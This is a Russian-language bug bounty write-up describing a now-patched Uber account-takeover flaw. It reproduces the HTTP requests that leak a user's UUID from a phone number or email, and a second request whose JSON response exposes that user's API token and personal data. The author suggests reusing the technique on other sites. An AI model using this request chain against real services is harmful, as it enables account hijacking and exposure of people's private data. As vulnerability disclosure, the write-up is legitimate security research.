Uber Bug Bounty - Кража любого аккаунта
Moody
Привет.
Перед тем, как начать очередную историю, хочу напомнить, что все статьи о Bug Bounty публикуются в соответствии с политикой сервисов, на которых я нахожу уязвимости. Это значит, что на момент написания статей, все уязвимости не действительны. Вероятно, вы подумаете, что от них нет никакой практической пользы. Но это не так, вы можете в будущем использовать аналогичные техники из статей на других сайтах. Это ответ для тех, кто иногда упрекает меня по этому вопросу в ЛС.
Описанный в этой статье способ, чем - то напоминает https://techcrunch.com/2018/09/28/facebook-says-50-million-accounts-affected-by-account-takeover-bug/.
Немного об UBER
UBER - это американская международная компания из Калифорнии, штат Сан-Франциско. Позволяет заказывать дешёвое такси в крупных городах мира по ценам намного ниже рыночных. Работает в 785 мегаполисах по всему миру и, судя по отчету Bloomberg, оценивается более чем в 100 миллиардов долларов.
Немного об уязвимости
Пост посвящен уязвимости, позволяющей получать доступ к чужим аккаунтам пользователей UBER (включая райдеров и партнеров). Указав UUID жертвы в одном из запросов к API, утекал токен пользователя, благодаря которому можно было осуществлять управление его аккаунтом (отслеживать местоположение, совершать поездки и прочее).
Как это работает
Шаг первый - получаем UUID пользователя.
Вариант #1. По номеру телефона.
POST /p3/fleet-manager/\_rpc?rpc=addDriverV2 HTTP/1.1
Host: partners.uber.com
{“nationalPhoneNumber”:”92953xxxxx”,”countryCode”:”1"}
В ответе получим:
{
“status”:”failure”,
”data”: {
“code”:1009,
”message”:”Driver ‘47d063f8–0xx5e-xxxxx-b01a-xxxx’ not found”
}
}
"r5lkh6zd–0h5t6-xxxxx-c2fq-xxxx" - UUID пользователя с номером телефона "92953xxxxx".
Вариант #2. По адресу электронной почты.
POST /p3/fleet-manager/\_rpc?rpc=addDriverV2 HTTP/1.1
Host: partners.uber.com
{“email”:”test@gmail.com”}
В ответе получим:
{
“status”:”failure”,
”data”: {
“code”:1009,
”message”:”Driver ‘hys2e6b1–2633–1612-3464–reysqz1amcsoqb’ not found”
}
}
"hys2e6b1–2633–1612-3464–reysqz1amcsoqb" - UUID пользователя с адресом электронной почты "test@gmail.com".
Шаг второй - получаем информацию о пользователе.
Теперь, когда у нас есть UUID пользователя, осталось отправить ещё один запрос, чтобы получить о нем информацию. Выглядеть он будет так:
POST /marketplace/\_rpc?rpc=getConsentScreenDetails HTTP/1.1
Host: bonjour.uber.com
Connection: close
Content-Length: 67
Accept: application/json
Origin: [https://bonjour.uber.com](https://bonjour.uber.com)
x-csrf-token: xxxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
DNT: 1
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: xxxxx
{“language”:”en”,”userUuid”:”hys2e6b1–2633–1612-3464–reysqz1amcsoqb
”}
В ответе получаем ожидаемую информацию о пользователе, в том числе API токен, с помощью которого можно будет управлять аккаунтом.
{
“status”:”success”,
”data”:{
“data”:{
“language”:”en”,
”userUuid”:”xxxxxx1e”
},
”getUser”:{
“uuid”:”cxxxxxc5f7371e”,
”firstname”:”Maxxxx”,
”lastname”:”XXXX”,
”role”:”PARTNER”,
”languageId”:1,
”countryId”:77,
”mobile”:null,
”mobileToken”:1234,
”mobileCountryId”:77,
”mobileCountryCode”:”+91",
”hasAmbiguousMobileCountry”:false,
”lastConfirmedMobileCountryId”:77,
”email”:”xxxx@gmail.com”,
”emailToken”:”xxxxxxxx”,
”hasConfirmedMobile”:”no”,
”hasOptedInSmsMarketing”:false,
”hasConfirmedEmail”:true,
”gratuity”:0.3,
”nickname”:”abc@gmail.com”,
”location”:”00000",
”banned”:false,
”cardio”:false,
”token”:”a8048kh4441zq4xxxxxx72d”,
”fraudScore”:0,
”inviterUuid”:null,
”pictureUrl”:”xxxxx.jpeg”,
”recentFareSplitterUuids”:[
“xxx”
],
”lastSelectedPaymentProfileUuid”:”xxxxxx”,
”lastSelectedPaymentProfileGoogleWalletUuid”:null,
”inviteCode”:{
“promotionCodeId”:xxxxx,
”promotionCodeUuid”:”xxxx”,
”promotionCode”:”manishas523",
”createdAt”:{
“type”:”Buffer”,
”data”:[0,0,1,76,2,21,215,101]
},
”updatedAt”:{
“type”:”Buffer”,
”data”:[0,0,1,76,65,211,61,9]
}
},
”driverInfo”:{
“contactinfo”:”999999999xx”,
”contactinfoCountryCode”:”+91",
”driverLicense”:”None”,
”firstDriverTripUuid”:null,
”iphone”:null,
”partnerUserUuid”:”xxxxxxx”,
”receiveSms”:true,
”twilioNumber”:null,
”twilioNumberFormatted”:null,
”cityknowledgeScore”:0,
”createdAt”:{
“type”:”Buffer”,
”data”:[0,0,1,84,21,124,80,52]
},
”updatedAt”:{
“type”:”Buffer”,
”data”:[0,0,1,86,152,77,41,77]
},
”deletedAt”:null,
”driverStatus”:”APPLIED”,
”driverFlowType”:”UBERX”,
”statusLocks”:null,
”contactinfoCountryIso2Code”:”KR”,
”driverEngagement”:null,
”courierEngagement”:null
},
”partnerInfo”:{
“address”:”Nxxxxxxx”,
”territoryUuid”:”xxxxxx”,
”company”:”None”,
”address2":”None”,
”cityId”:130,
”cityName”:”None”,
”firstPartnerTripUuid”:null,
”preferredCollectionPaymentProfileUuid”:null,
”phone”:””,
”phoneCountryCode”:”+91",
”state”:”None”,
”vatNumber”:”None”,
”zipcode”:”None”,
”createdAt”:{
“type”:”Buffer”,
”data”:[0,0,1,84,21,124,80,52]
},
”updatedAt”:{
“type”:”Buffer”,
”data”:[0,0,1,101,38,177,88,137
]
},
”deletedAt”:null,
”fleetTypes”:[
],
”fleetServices”:[
],
”isFleet”:true
},
”analytics”:{
“signupLat”:133.28741199,
”signupLng”:11177.1111,
”signupTerritoryUuid”:”xxxxx”,
”signupPromoId”:null,
”signupForm”:”iphone”,
”signupSessionId”:”xxxxxxx”,
”signupAppVersion”:”2.64.1",
”signupAttributionMethod”:null,
”createdAt”:{
“type”:”Buffer”,
”data”:[0,0,1,76,2,21,219,1]
},
”updatedAt”:{
“type”:”Buffer”,
”data”:[0,0,1,76,2,21,219,1
]
},
”signupCityId”:130,
”signupDeviceId”:null,
”signupReferralId”:null,
”signupPromoCode”:null,
”signupPromoCodeUuid”:null,
”signupPromoUuid”:null,
”signupMethod”:”REGULAR”
},
”createdAt”:{
“type”:”Buffer”,
”data”:[0,0,1,76,2,21,215,153]
},
”updatedAt”:{
“type”:”Buffer”,
”data”:[0,0,1,102,81,35,153,135]
},
”deletedAt”:null,
”tenancy”:”uber/production”,
”mobileConfirmationStatus”:”MOBILE_NOT_CONFIRMED”,
”nationalId”:null,
”nationalIdType”:null,
”merchantLocation”:null,
”lastConfirmedMobile”:”xxxxxxxxxx”,
”requestedDeletionAt”:null,
”dateOfBirth”:xxxxxx,
”userTypes”:null,
”preferredName”:”xxxxxxxx”,
”freightInfo”:null,
”tempPictureUrl”:null,
”identityVerified”:null,
”paymentEntityType”:null,
”riderEngagement”:null,
”identityRejectReasonUuid”:null,
”genderInferred”:null,
”genderIdentity”:null,
”genderDocumented”:null,
”riderIneligibleWdw”:null,
”defaultPaymentProfileByProduct”:null,
”loginEligibility”:null
},
”getDisclosureVersionUuid”:””,
”getLocaleCopy”:null
}
}